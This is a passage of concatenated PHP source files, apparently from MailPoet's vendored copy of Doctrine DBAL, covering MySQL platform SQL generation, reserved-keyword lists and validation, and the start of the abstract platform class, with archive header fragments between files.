getRemainingForeignKeyConstraintsRequiringRenamedIndexes(\MailPoetVendor\Doctrine\DBAL\Schema\TableDiff $diff) { if (empty($diff->renamedIndexes) || !$diff->fromTable instanceof \MailPoetVendor\Doctrine\DBAL\Schema\Table) { return array(); } $foreignKeys = array(); $remainingForeignKeys = \array_diff_key($diff->fromTable->getForeignKeys(), $diff->removedForeignKeys); foreach ($remainingForeignKeys as $foreignKey) { foreach ($diff->renamedIndexes as $index) { if ($foreignKey->intersectsIndexColumns($index)) { $foreignKeys[] = $foreignKey; break; } } } return $foreignKeys; } protected function getPostAlterTableIndexForeignKeySQL(\MailPoetVendor\Doctrine\DBAL\Schema\TableDiff $diff) { return \array_merge(parent::getPostAlterTableIndexForeignKeySQL($diff), $this->getPostAlterTableRenameIndexForeignKeySQL($diff)); } protected function getPostAlterTableRenameIndexForeignKeySQL(\MailPoetVendor\Doctrine\DBAL\Schema\TableDiff $diff) { $sql = array(); $tableName = \false !== $diff->newName ? $diff->getNewName()->getQuotedName($this) : $diff->getName($this)->getQuotedName($this); foreach ($this->getRemainingForeignKeyConstraintsRequiringRenamedIndexes($diff) as $foreignKey) { if (!\in_array($foreignKey, $diff->changedForeignKeys, \true)) { $sql[] = $this->getCreateForeignKeySQL($foreignKey, $tableName); } } return $sql; } protected function getCreateIndexSQLFlags(\MailPoetVendor\Doctrine\DBAL\Schema\Index $index) { $type = ''; if ($index->isUnique()) { $type .= 'UNIQUE '; } elseif ($index->hasFlag('fulltext')) { $type .= 'FULLTEXT '; } elseif ($index->hasFlag('spatial')) { $type .= 'SPATIAL '; } return $type; } public function getIntegerTypeDeclarationSQL(array $field) { return 'INT' . $this->_getCommonIntegerTypeDeclarationSQL($field); } public function getBigIntTypeDeclarationSQL(array $field) { return 'BIGINT' . $this->_getCommonIntegerTypeDeclarationSQL($field); } public function getSmallIntTypeDeclarationSQL(array $field) { return 'SMALLINT' . $this->_getCommonIntegerTypeDeclarationSQL($field); } protected function _getCommonIntegerTypeDeclarationSQL(array $columnDef) { $autoinc = ''; if (!empty($columnDef['autoincrement'])) { $autoinc = ' AUTO_INCREMENT'; } $unsigned = isset($columnDef['unsigned']) && $columnDef['unsigned'] ? ' UNSIGNED' : ''; return $unsigned . $autoinc; } public function getAdvancedForeignKeyOptionsSQL(\MailPoetVendor\Doctrine\DBAL\Schema\ForeignKeyConstraint $foreignKey) { $query = ''; if ($foreignKey->hasOption('match')) { $query .= ' MATCH ' . $foreignKey->getOption('match'); } $query .= parent::getAdvancedForeignKeyOptionsSQL($foreignKey); return $query; } public function getDropIndexSQL($index, $table = null) { if ($index instanceof \MailPoetVendor\Doctrine\DBAL\Schema\Index) { $indexName = $index->getQuotedName($this); } elseif (\is_string($index)) { $indexName = $index; } else { throw new \InvalidArgumentException('MysqlPlatform::getDropIndexSQL() expects $index parameter to be string or \\Doctrine\\DBAL\\Schema\\Index.'); } if ($table instanceof \MailPoetVendor\Doctrine\DBAL\Schema\Table) { $table = $table->getQuotedName($this); } elseif (!\is_string($table)) { throw new \InvalidArgumentException('MysqlPlatform::getDropIndexSQL() expects $table parameter to be string or \\Doctrine\\DBAL\\Schema\\Table.'); } if ($index instanceof \MailPoetVendor\Doctrine\DBAL\Schema\Index && $index->isPrimary()) { return $this->getDropPrimaryKeySQL($table); } return 'DROP INDEX ' . $indexName . ' ON ' . $table; } protected function getDropPrimaryKeySQL($table) { return 'ALTER TABLE ' . $table . ' DROP PRIMARY KEY'; } public function getSetTransactionIsolationSQL($level) { return 'SET SESSION TRANSACTION ISOLATION LEVEL ' . $this->_getTransactionIsolationLevelSQL($level); } public function getName() { return 'mysql'; } public function getReadLockSQL() { return 'LOCK IN SHARE MODE'; } protected function initializeDoctrineTypeMappings() { $this->doctrineTypeMapping = array('tinyint' => 'boolean', 'smallint' => 'smallint', 'mediumint' => 'integer', 'int' => 'integer', 'integer' => 'integer', 'bigint' => 'bigint', 'tinytext' => 'text', 'mediumtext' => 'text', 'longtext' => 'text', 'text' => 'text', 'varchar' => 'string', 'string' => 'string', 'char' => 'string', 'date' => 'date', 'datetime' => 'datetime', 'timestamp' => 'datetime', 'time' => 'time', 'float' => 'float', 'double' => 'float', 'real' => 'float', 'decimal' => 'decimal', 'numeric' => 'decimal', 'year' => 'date', 'longblob' => 'blob', 'blob' => 'blob', 'mediumblob' => 'blob', 'tinyblob' => 'blob', 'binary' => 'binary', 'varbinary' => 'binary', 'set' => 'simple_array'); } public function getVarcharMaxLength() { return 65535; } public function getBinaryMaxLength() { return 65535; } protected function getReservedKeywordsClass() { return 'MailPoetVendor\\Doctrine\\DBAL\\Platforms\\Keywords\\MySQLKeywords'; } public function getDropTemporaryTableSQL($table) { if ($table instanceof \MailPoetVendor\Doctrine\DBAL\Schema\Table) { $table = $table->getQuotedName($this); } elseif (!\is_string($table)) { throw new \InvalidArgumentException('getDropTableSQL() expects $table parameter to be string or \\Doctrine\\DBAL\\Schema\\Table.'); } return 'DROP TEMPORARY TABLE ' . $table; } public function getBlobTypeDeclarationSQL(array $field) { if (!empty($field['length']) && \is_numeric($field['length'])) { $length = $field['length']; if ($length <= static::LENGTH_LIMIT_TINYBLOB) { return 'TINYBLOB'; } if ($length <= static::LENGTH_LIMIT_BLOB) { return 'BLOB'; } if ($length <= static::LENGTH_LIMIT_MEDIUMBLOB) { return 'MEDIUMBLOB'; } } return 'LONGBLOB'; } public function quoteStringLiteral($str) { $str = \str_replace('\\', '\\\\', $str); return parent::quoteStringLiteral($str); } } Doctrine/DBAL/Platforms/index.php 0000666 00000000000 15035130072 0012572 0 ustar 00 Doctrine/DBAL/Platforms/Keywords/ReservedKeywordsValidator.php 0000666 00000004171 15035130072 0020464 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Platforms\Keywords; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Schema\Visitor\Visitor; use MailPoetVendor\Doctrine\DBAL\Schema\Table; use MailPoetVendor\Doctrine\DBAL\Schema\Column; use MailPoetVendor\Doctrine\DBAL\Schema\ForeignKeyConstraint; use MailPoetVendor\Doctrine\DBAL\Schema\Schema; use MailPoetVendor\Doctrine\DBAL\Schema\Sequence; use MailPoetVendor\Doctrine\DBAL\Schema\Index; class ReservedKeywordsValidator implements \MailPoetVendor\Doctrine\DBAL\Schema\Visitor\Visitor { private $keywordLists = array(); private $violations = array(); public function __construct(array $keywordLists) { $this->keywordLists = $keywordLists; } public function getViolations() { return $this->violations; } private function isReservedWord($word) { if ($word[0] == "`") { $word = \str_replace('`', '', $word); } $keywordLists = array(); foreach ($this->keywordLists as $keywordList) { if ($keywordList->isKeyword($word)) { $keywordLists[] = $keywordList->getName(); } } return $keywordLists; } private function addViolation($asset, $violatedPlatforms) { if (!$violatedPlatforms) { return; } $this->violations[] = $asset . ' keyword violations: ' . \implode(', ', $violatedPlatforms); } public function acceptColumn(\MailPoetVendor\Doctrine\DBAL\Schema\Table $table, \MailPoetVendor\Doctrine\DBAL\Schema\Column $column) { $this->addViolation('Table ' . $table->getName() . ' column ' . $column->getName(), $this->isReservedWord($column->getName())); } public function acceptForeignKey(\MailPoetVendor\Doctrine\DBAL\Schema\Table $localTable, \MailPoetVendor\Doctrine\DBAL\Schema\ForeignKeyConstraint $fkConstraint) { } public function acceptIndex(\MailPoetVendor\Doctrine\DBAL\Schema\Table $table, \MailPoetVendor\Doctrine\DBAL\Schema\Index $index) { } public function acceptSchema(\MailPoetVendor\Doctrine\DBAL\Schema\Schema $schema) { } public function acceptSequence(\MailPoetVendor\Doctrine\DBAL\Schema\Sequence $sequence) { } public function acceptTable(\MailPoetVendor\Doctrine\DBAL\Schema\Table $table) { $this->addViolation('Table ' . $table->getName(), $this->isReservedWord($table->getName())); } } Doctrine/DBAL/Platforms/Keywords/MySQLKeywords.php 0000666 00000005213 15035130072 0016002 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Platforms\Keywords; if (!defined('ABSPATH')) exit; class MySQLKeywords extends \MailPoetVendor\Doctrine\DBAL\Platforms\Keywords\KeywordList { public function getName() { return 'MySQL'; } protected function getKeywords() { return array('ADD', 'ALL', 'ALTER', 'ANALYZE', 'AND', 'AS', 'ASC', 'ASENSITIVE', 'BEFORE', 'BETWEEN', 'BIGINT', 'BINARY', 'BLOB', 'BOTH', 'BY', 'CALL', 'CASCADE', 'CASE', 'CHANGE', 'CHAR', 'CHARACTER', 'CHECK', 'COLLATE', 'COLUMN', 'CONDITION', 'CONNECTION', 'CONSTRAINT', 'CONTINUE', 'CONVERT', 'CREATE', 'CROSS', 'CURRENT_DATE', 'CURRENT_TIME', 'CURRENT_TIMESTAMP', 'CURRENT_USER', 'CURSOR', 'DATABASE', 'DATABASES', 'DAY_HOUR', 'DAY_MICROSECOND', 'DAY_MINUTE', 'DAY_SECOND', 'DEC', 'DECIMAL', 'DECLARE', 'DEFAULT', 'DELAYED', 'DELETE', 'DESC', 'DESCRIBE', 'DETERMINISTIC', 'DISTINCT', 'DISTINCTROW', 'DIV', 'DOUBLE', 'DROP', 'DUAL', 'EACH', 'ELSE', 'ELSEIF', 'ENCLOSED', 'ESCAPED', 'EXISTS', 'EXIT', 'EXPLAIN', 'FALSE', 'FETCH', 'FLOAT', 'FLOAT4', 'FLOAT8', 'FOR', 'FORCE', 'FOREIGN', 'FROM', 'FULLTEXT', 'GOTO', 'GRANT', 'GROUP', 'HAVING', 'HIGH_PRIORITY', 'HOUR_MICROSECOND', 'HOUR_MINUTE', 'HOUR_SECOND', 'IF', 'IGNORE', 'IN', 'INDEX', 'INFILE', 'INNER', 'INOUT', 'INSENSITIVE', 'INSERT', 'INT', 'INT1', 'INT2', 'INT3', 'INT4', 'INT8', 'INTEGER', 'INTERVAL', 'INTO', 'IS', 'ITERATE', 'JOIN', 'KEY', 'KEYS', 'KILL', 'LABEL', 'LEADING', 'LEAVE', 'LEFT', 'LIKE', 'LIMIT', 'LINES', 'LOAD', 'LOCALTIME', 'LOCALTIMESTAMP', 'LOCK', 'LONG', 'LONGBLOB', 'LONGTEXT', 'LOOP', 'LOW_PRIORITY', 'MATCH', 'MEDIUMBLOB', 'MEDIUMINT', 'MEDIUMTEXT', 'MIDDLEINT', 'MINUTE_MICROSECOND', 'MINUTE_SECOND', 'MOD', 'MODIFIES', 'NATURAL', 'NOT', 'NO_WRITE_TO_BINLOG', 'NULL', 'NUMERIC', 'ON', 'OPTIMIZE', 'OPTION', 'OPTIONALLY', 'OR', 'ORDER', 'OUT', 'OUTER', 'OUTFILE', 'PRECISION', 'PRIMARY', 'PROCEDURE', 'PURGE', 'RAID0', 'RANGE', 'READ', 'READS', 'REAL', 'REFERENCES', 'REGEXP', 'RELEASE', 'RENAME', 'REPEAT', 'REPLACE', 'REQUIRE', 'RESTRICT', 'RETURN', 'REVOKE', 'RIGHT', 'RLIKE', 'SCHEMA', 'SCHEMAS', 'SECOND_MICROSECOND', 'SELECT', 'SENSITIVE', 'SEPARATOR', 'SET', 'SHOW', 'SMALLINT', 'SONAME', 'SPATIAL', 'SPECIFIC', 'SQL', 'SQLEXCEPTION', 'SQLSTATE', 'SQLWARNING', 'SQL_BIG_RESULT', 'SQL_CALC_FOUND_ROWS', 'SQL_SMALL_RESULT', 'SSL', 'STARTING', 'STRAIGHT_JOIN', 'TABLE', 'TERMINATED', 'THEN', 'TINYBLOB', 'TINYINT', 'TINYTEXT', 'TO', 'TRAILING', 'TRIGGER', 'TRUE', 'UNDO', 'UNION', 'UNIQUE', 'UNLOCK', 'UNSIGNED', 'UPDATE', 'USAGE', 'USE', 'USING', 'UTC_DATE', 'UTC_TIME', 'UTC_TIMESTAMP', 'VALUES', 'VARBINARY', 'VARCHAR', 'VARCHARACTER', 'VARYING', 'WHEN', 'WHERE', 'WHILE', 'WITH', 'WRITE', 'X509', 'XOR', 'YEAR_MONTH', 'ZEROFILL'); } } Doctrine/DBAL/Platforms/Keywords/KeywordList.php 0000666 00000000773 15035130072 0015573 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Platforms\Keywords; if (!defined('ABSPATH')) exit; abstract class KeywordList { private $keywords = null; public function isKeyword($word) { if ($this->keywords === null) { $this->initializeKeywords(); } return isset($this->keywords[\strtoupper($word)]); } protected function initializeKeywords() { $this->keywords = \array_flip(\array_map('strtoupper', $this->getKeywords())); } protected abstract function getKeywords(); public abstract function getName(); } Doctrine/DBAL/Platforms/Keywords/index.php 0000666 00000000000 15035130072 0014401 0 ustar 00 Doctrine/DBAL/Platforms/Keywords/MsSQLKeywords.php 0000666 00000000362 15035130072 0015774 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Platforms\Keywords; if (!defined('ABSPATH')) exit; class MsSQLKeywords extends \MailPoetVendor\Doctrine\DBAL\Platforms\Keywords\SQLServerKeywords { public function getName() { return 'MsSQL'; } } Doctrine/DBAL/Platforms/Keywords/MySQL57Keywords.php 0000666 00000005427 15035130072 0016165 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Platforms\Keywords; if (!defined('ABSPATH')) exit; class MySQL57Keywords extends \MailPoetVendor\Doctrine\DBAL\Platforms\Keywords\MySQLKeywords { public function getName() { return 'MySQL57'; } protected function getKeywords() { return array('ACCESSIBLE', 'ADD', 'ALL', 'ALTER', 'ANALYZE', 'AND', 'AS', 'ASC', 'ASENSITIVE', 'BEFORE', 'BETWEEN', 'BIGINT', 'BINARY', 'BLOB', 'BOTH', 'BY', 'CALL', 'CASCADE', 'CASE', 'CHANGE', 'CHAR', 'CHARACTER', 'CHECK', 'COLLATE', 'COLUMN', 'CONDITION', 'CONSTRAINT', 'CONTINUE', 'CONVERT', 'CREATE', 'CROSS', 'CURRENT_DATE', 'CURRENT_TIME', 'CURRENT_TIMESTAMP', 'CURRENT_USER', 'CURSOR', 'DATABASE', 'DATABASES', 'DAY_HOUR', 'DAY_MICROSECOND', 'DAY_MINUTE', 'DAY_SECOND', 'DEC', 'DECIMAL', 'DECLARE', 'DEFAULT', 'DELAYED', 'DELETE', 'DESC', 'DESCRIBE', 'DETERMINISTIC', 'DISTINCT', 'DISTINCTROW', 'DIV', 'DOUBLE', 'DROP', 'DUAL', 'EACH', 'ELSE', 'ELSEIF', 'ENCLOSED', 'ESCAPED', 'EXISTS', 'EXIT', 'EXPLAIN', 'FALSE', 'FETCH', 'FLOAT', 'FLOAT4', 'FLOAT8', 'FOR', 'FORCE', 'FOREIGN', 'FROM', 'FULLTEXT', 'GET', 'GRANT', 'GROUP', 'HAVING', 'HIGH_PRIORITY', 'HOUR_MICROSECOND', 'HOUR_MINUTE', 'HOUR_SECOND', 'IF', 'IGNORE', 'IN', 'INDEX', 'INFILE', 'INNER', 'INOUT', 'INSENSITIVE', 'INSERT', 'INT', 'INT1', 'INT2', 'INT3', 'INT4', 'INT8', 'INTEGER', 'INTERVAL', 'INTO', 'IO_AFTER_GTIDS', 'IO_BEFORE_GTIDS', 'IS', 'ITERATE', 'JOIN', 'KEY', 'KEYS', 'KILL', 'LEADING', 'LEAVE', 'LEFT', 'LIKE', 'LIMIT', 'LINEAR', 'LINES', 'LOAD', 'LOCALTIME', 'LOCALTIMESTAMP', 'LOCK', 'LONG', 'LONGBLOB', 'LONGTEXT', 'LOOP', 'LOW_PRIORITY', 'MASTER_BIND', 'MASTER_SSL_VERIFY_SERVER_CERT', 'MATCH', 'MAXVALUE', 'MEDIUMBLOB', 'MEDIUMINT', 'MEDIUMTEXT', 'MIDDLEINT', 'MINUTE_MICROSECOND', 'MINUTE_SECOND', 'MOD', 'MODIFIES', 'NATURAL', 'NO_WRITE_TO_BINLOG', 'NONBLOCKING', 'NOT', 'NULL', 'NUMERIC', 'ON', 'OPTIMIZE', 'OPTION', 'OPTIONALLY', 'OR', 'ORDER', 'OUT', 'OUTER', 'OUTFILE', 'PARTITION', 'PRECISION', 'PRIMARY', 'PROCEDURE', 'PURGE', 'RANGE', 'READ', 'READ_WRITE', 'READS', 'REAL', 'REFERENCES', 'REGEXP', 'RELEASE', 'RENAME', 'REPEAT', 'REPLACE', 'REQUIRE', 'RESIGNAL', 'RESTRICT', 'RETURN', 'REVOKE', 'RIGHT', 'RLIKE', 'SCHEMA', 'SCHEMAS', 'SECOND_MICROSECOND', 'SELECT', 'SENSITIVE', 'SEPARATOR', 'SET', 'SHOW', 'SIGNAL', 'SMALLINT', 'SPATIAL', 'SPECIFIC', 'SQL', 'SQL_BIG_RESULT', 'SQL_CALC_FOUND_ROWS', 'SQL_SMALL_RESULT', 'SQLEXCEPTION', 'SQLSTATE', 'SQLWARNING', 'SSL', 'STARTING', 'STRAIGHT_JOIN', 'TABLE', 'TERMINATED', 'THEN', 'TINYBLOB', 'TINYINT', 'TINYTEXT', 'TO', 'TRAILING', 'TRIGGER', 'TRUE', 'UNDO', 'UNION', 'UNIQUE', 'UNLOCK', 'UNSIGNED', 'UPDATE', 'USAGE', 'USE', 'USING', 'UTC_DATE', 'UTC_TIME', 'UTC_TIMESTAMP', 'VALUES', 'VARBINARY', 'VARCHAR', 'VARCHARACTER', 'VARYING', 'WHEN', 'WHERE', 'WHILE', 'WITH', 'WRITE', 'XOR', 'YEAR_MONTH', 'ZEROFILL'); } } Doctrine/DBAL/Platforms/AbstractPlatform.php 0000666 00000131423 15035130072 0014751 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Platforms; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\DBALException; use MailPoetVendor\Doctrine\DBAL\Connection; use MailPoetVendor\Doctrine\DBAL\Schema\Identifier; use MailPoetVendor\Doctrine\DBAL\Types; use MailPoetVendor\Doctrine\DBAL\Schema\Constraint; use MailPoetVendor\Doctrine\DBAL\Schema\Sequence; use MailPoetVendor\Doctrine\DBAL\Schema\Table; use MailPoetVendor\Doctrine\DBAL\Schema\Index; use MailPoetVendor\Doctrine\DBAL\Schema\ForeignKeyConstraint; use MailPoetVendor\Doctrine\DBAL\Schema\TableDiff; use MailPoetVendor\Doctrine\DBAL\Schema\Column; use MailPoetVendor\Doctrine\DBAL\Schema\ColumnDiff; use MailPoetVendor\Doctrine\DBAL\Types\Type; use MailPoetVendor\Doctrine\DBAL\Events; use MailPoetVendor\Doctrine\Common\EventManager; use MailPoetVendor\Doctrine\DBAL\Event\SchemaCreateTableEventArgs; use MailPoetVendor\Doctrine\DBAL\Event\SchemaCreateTableColumnEventArgs; use MailPoetVendor\Doctrine\DBAL\Event\SchemaDropTableEventArgs; use MailPoetVendor\Doctrine\DBAL\Event\SchemaAlterTableEventArgs; use MailPoetVendor\Doctrine\DBAL\Event\SchemaAlterTableAddColumnEventArgs; use MailPoetVendor\Doctrine\DBAL\Event\SchemaAlterTableRemoveColumnEventArgs; use MailPoetVendor\Doctrine\DBAL\Event\SchemaAlterTableChangeColumnEventArgs; use MailPoetVendor\Doctrine\DBAL\Event\SchemaAlterTableRenameColumnEventArgs; abstract class AbstractPlatform { const CREATE_INDEXES = 1; const CREATE_FOREIGNKEYS = 2; const DATE_INTERVAL_UNIT_SECOND = 'SECOND'; const DATE_INTERVAL_UNIT_MINUTE = 'MINUTE'; const DATE_INTERVAL_UNIT_HOUR = 'HOUR'; const DATE_INTERVAL_UNIT_DAY = 'DAY'; const DATE_INTERVAL_UNIT_WEEK = 'WEEK'; const DATE_INTERVAL_UNIT_MONTH = 'MONTH'; const DATE_INTERVAL_UNIT_QUARTER = 'QUARTER'; const DATE_INTERVAL_UNIT_YEAR = 'YEAR'; const TRIM_UNSPECIFIED = 0; const TRIM_LEADING = 1; const TRIM_TRAILING = 2; const TRIM_BOTH = 3; protected $doctrineTypeMapping = null; protected $doctrineTypeComments = null; protected $_eventManager; protected $_keywords; public function __construct() { } public function setEventManager(\MailPoetVendor\Doctrine\Common\EventManager $eventManager) { $this->_eventManager = $eventManager; } public function getEventManager() { return $this->_eventManager; } public abstract function getBooleanTypeDeclarationSQL(array $columnDef); public abstract function getIntegerTypeDeclarationSQL(array $columnDef); public abstract function getBigIntTypeDeclarationSQL(array $columnDef); public abstract function getSmallIntTypeDeclarationSQL(array $columnDef); protected abstract function _getCommonIntegerTypeDeclarationSQL(array $columnDef); protected abstract function initializeDoctrineTypeMappings(); private function initializeAllDoctrineTypeMappings() { $this->initializeDoctrineTypeMappings(); foreach (\MailPoetVendor\Doctrine\DBAL\Types\Type::getTypesMap() as $typeName => $className) { foreach (\MailPoetVendor\Doctrine\DBAL\Types\Type::getType($typeName)->getMappedDatabaseTypes($this) as $dbType) { $this->doctrineTypeMapping[$dbType] = $typeName; } } } public function getVarcharTypeDeclarationSQL(array $field) { if (!isset($field['length'])) { $field['length'] = $this->getVarcharDefaultLength(); } $fixed = isset($field['fixed']) ? $field['fixed'] : \false; if ($field['length'] > $this->getVarcharMaxLength()) { return $this->getClobTypeDeclarationSQL($field); } return $this->getVarcharTypeDeclarationSQLSnippet($field['length'], $fixed); } public function getBinaryTypeDeclarationSQL(array $field) { if (!isset($field['length'])) { $field['length'] = $this->getBinaryDefaultLength(); } $fixed = isset($field['fixed']) ? $field['fixed'] : \false; if ($field['length'] > $this->getBinaryMaxLength()) { return $this->getBlobTypeDeclarationSQL($field); } return $this->getBinaryTypeDeclarationSQLSnippet($field['length'], $fixed); } public function getGuidTypeDeclarationSQL(array $field) { $field['length'] = 36; $field['fixed'] = \true; return $this->getVarcharTypeDeclarationSQL($field); } public function getJsonTypeDeclarationSQL(array $field) { return $this->getClobTypeDeclarationSQL($field); } protected function getVarcharTypeDeclarationSQLSnippet($length, $fixed) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported('VARCHARs not supported by Platform.'); } protected function getBinaryTypeDeclarationSQLSnippet($length, $fixed) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported('BINARY/VARBINARY column types are not supported by this platform.'); } public abstract function getClobTypeDeclarationSQL(array $field); public abstract function getBlobTypeDeclarationSQL(array $field); public abstract function getName(); public function registerDoctrineTypeMapping($dbType, $doctrineType) { if ($this->doctrineTypeMapping === null) { $this->initializeAllDoctrineTypeMappings(); } if (!\MailPoetVendor\Doctrine\DBAL\Types\Type::hasType($doctrineType)) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::typeNotFound($doctrineType); } $dbType = \strtolower($dbType); $this->doctrineTypeMapping[$dbType] = $doctrineType; } public function getDoctrineTypeMapping($dbType) { if ($this->doctrineTypeMapping === null) { $this->initializeAllDoctrineTypeMappings(); } $dbType = \strtolower($dbType); if (!isset($this->doctrineTypeMapping[$dbType])) { throw new \MailPoetVendor\Doctrine\DBAL\DBALException("Unknown database type " . $dbType . " requested, " . \get_class($this) . " may not support it."); } return $this->doctrineTypeMapping[$dbType]; } public function hasDoctrineTypeMappingFor($dbType) { if ($this->doctrineTypeMapping === null) { $this->initializeAllDoctrineTypeMappings(); } $dbType = \strtolower($dbType); return isset($this->doctrineTypeMapping[$dbType]); } protected function initializeCommentedDoctrineTypes() { $this->doctrineTypeComments = array(); foreach (\MailPoetVendor\Doctrine\DBAL\Types\Type::getTypesMap() as $typeName => $className) { $type = \MailPoetVendor\Doctrine\DBAL\Types\Type::getType($typeName); if ($type->requiresSQLCommentHint($this)) { $this->doctrineTypeComments[] = $typeName; } } } public function isCommentedDoctrineType(\MailPoetVendor\Doctrine\DBAL\Types\Type $doctrineType) { if ($this->doctrineTypeComments === null) { $this->initializeCommentedDoctrineTypes(); } return \in_array($doctrineType->getName(), $this->doctrineTypeComments); } public function markDoctrineTypeCommented($doctrineType) { if ($this->doctrineTypeComments === null) { $this->initializeCommentedDoctrineTypes(); } $this->doctrineTypeComments[] = $doctrineType instanceof \MailPoetVendor\Doctrine\DBAL\Types\Type ? $doctrineType->getName() : $doctrineType; } public function getDoctrineTypeComment(\MailPoetVendor\Doctrine\DBAL\Types\Type $doctrineType) { return '(DC2Type:' . $doctrineType->getName() . ')'; } protected function getColumnComment(\MailPoetVendor\Doctrine\DBAL\Schema\Column $column) { $comment = $column->getComment(); if ($this->isCommentedDoctrineType($column->getType())) { $comment .= $this->getDoctrineTypeComment($column->getType()); } return $comment; } public function getIdentifierQuoteCharacter() { return '"'; } public function getSqlCommentStartString() { return "--"; } public function getSqlCommentEndString() { return "\n"; } public function getVarcharMaxLength() { return 4000; } public function getVarcharDefaultLength() { return 255; } public function getBinaryMaxLength() { return 4000; } public function getBinaryDefaultLength() { return 255; } public function getWildcards() { return array('%', '_'); } public function getRegexpExpression() { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported(__METHOD__); } public function getGuidExpression() { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported(__METHOD__); } public function getAvgExpression($column) { return 'AVG(' . $column . ')'; } public function getCountExpression($column) { return 'COUNT(' . $column . ')'; } public function getMaxExpression($column) { return 'MAX(' . $column . ')'; } public function getMinExpression($column) { return 'MIN(' . $column . ')'; } public function getSumExpression($column) { return 'SUM(' . $column . ')'; } public function getMd5Expression($column) { return 'MD5(' . $column . ')'; } public function getLengthExpression($column) { return 'LENGTH(' . $column . ')'; } public function getSqrtExpression($column) { return 'SQRT(' . $column . ')'; } public function getRoundExpression($column, $decimals = 0) { return 'ROUND(' . $column . ', ' . $decimals . ')'; } public function getModExpression($expression1, $expression2) { return 'MOD(' . $expression1 . ', ' . $expression2 . ')'; } public function getTrimExpression($str, $pos = self::TRIM_UNSPECIFIED, $char = \false) { $expression = ''; switch ($pos) { case self::TRIM_LEADING: $expression = 'LEADING '; break; case self::TRIM_TRAILING: $expression = 'TRAILING '; break; case self::TRIM_BOTH: $expression = 'BOTH '; break; } if (\false !== $char) { $expression .= $char . ' '; } if ($pos || \false !== $char) { $expression .= 'FROM '; } return 'TRIM(' . $expression . $str . ')'; } public function getRtrimExpression($str) { return 'RTRIM(' . $str . ')'; } public function getLtrimExpression($str) { return 'LTRIM(' . $str . ')'; } public function getUpperExpression($str) { return 'UPPER(' . $str . ')'; } public function getLowerExpression($str) { return 'LOWER(' . $str . ')'; } public function getLocateExpression($str, $substr, $startPos = \false) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported(__METHOD__); } public function getNowExpression() { return 'NOW()'; } public function getSubstringExpression($value, $from, $length = null) { if ($length === null) { return 'SUBSTRING(' . $value . ' FROM ' . $from . ')'; } return 'SUBSTRING(' . $value . ' FROM ' . $from . ' FOR ' . $length . ')'; } public function getConcatExpression() { return \join(' || ', \func_get_args()); } public function getNotExpression($expression) { return 'NOT(' . $expression . ')'; } public function getIsNullExpression($expression) { return $expression . ' IS NULL'; } public function getIsNotNullExpression($expression) { return $expression . ' IS NOT NULL'; } public function getBetweenExpression($expression, $value1, $value2) { return $expression . ' BETWEEN ' . $value1 . ' AND ' . $value2; } public function getAcosExpression($value) { return 'ACOS(' . $value . ')'; } public function getSinExpression($value) { return 'SIN(' . $value . ')'; } public function getPiExpression() { return 'PI()'; } public function getCosExpression($value) { return 'COS(' . $value . ')'; } public function getDateDiffExpression($date1, $date2) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported(__METHOD__); } public function getDateAddSecondsExpression($date, $seconds) { return $this->getDateArithmeticIntervalExpression($date, '+', $seconds, self::DATE_INTERVAL_UNIT_SECOND); } public function getDateSubSecondsExpression($date, $seconds) { return $this->getDateArithmeticIntervalExpression($date, '-', $seconds, self::DATE_INTERVAL_UNIT_SECOND); } public function getDateAddMinutesExpression($date, $minutes) { return $this->getDateArithmeticIntervalExpression($date, '+', $minutes, self::DATE_INTERVAL_UNIT_MINUTE); } public function getDateSubMinutesExpression($date, $minutes) { return $this->getDateArithmeticIntervalExpression($date, '-', $minutes, self::DATE_INTERVAL_UNIT_MINUTE); } public function getDateAddHourExpression($date, $hours) { return $this->getDateArithmeticIntervalExpression($date, '+', $hours, self::DATE_INTERVAL_UNIT_HOUR); } public function getDateSubHourExpression($date, $hours) { return $this->getDateArithmeticIntervalExpression($date, '-', $hours, self::DATE_INTERVAL_UNIT_HOUR); } public function getDateAddDaysExpression($date, $days) { return $this->getDateArithmeticIntervalExpression($date, '+', $days, self::DATE_INTERVAL_UNIT_DAY); } public function getDateSubDaysExpression($date, $days) { return $this->getDateArithmeticIntervalExpression($date, '-', $days, self::DATE_INTERVAL_UNIT_DAY); } public function getDateAddWeeksExpression($date, $weeks) { return $this->getDateArithmeticIntervalExpression($date, '+', $weeks, self::DATE_INTERVAL_UNIT_WEEK); } public function getDateSubWeeksExpression($date, $weeks) { return $this->getDateArithmeticIntervalExpression($date, '-', $weeks, self::DATE_INTERVAL_UNIT_WEEK); } public function getDateAddMonthExpression($date, $months) { return $this->getDateArithmeticIntervalExpression($date, '+', $months, self::DATE_INTERVAL_UNIT_MONTH); } public function getDateSubMonthExpression($date, $months) { return $this->getDateArithmeticIntervalExpression($date, '-', $months, self::DATE_INTERVAL_UNIT_MONTH); } public function getDateAddQuartersExpression($date, $quarters) { return $this->getDateArithmeticIntervalExpression($date, '+', $quarters, self::DATE_INTERVAL_UNIT_QUARTER); } public function getDateSubQuartersExpression($date, $quarters) { return $this->getDateArithmeticIntervalExpression($date, '-', $quarters, self::DATE_INTERVAL_UNIT_QUARTER); } public function getDateAddYearsExpression($date, $years) { return $this->getDateArithmeticIntervalExpression($date, '+', $years, self::DATE_INTERVAL_UNIT_YEAR); } public function getDateSubYearsExpression($date, $years) { return $this->getDateArithmeticIntervalExpression($date, '-', $years, self::DATE_INTERVAL_UNIT_YEAR); } protected function getDateArithmeticIntervalExpression($date, $operator, $interval, $unit) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::notSupported(__METHOD__); } public function getBitAndComparisonExpression($value1, $value2) { return '(' . $value1 . ' & ' . $value2 . ')'; } public function getBitOrComparisonExpression($value1, $value2) { return '(' . $value1 . ' | 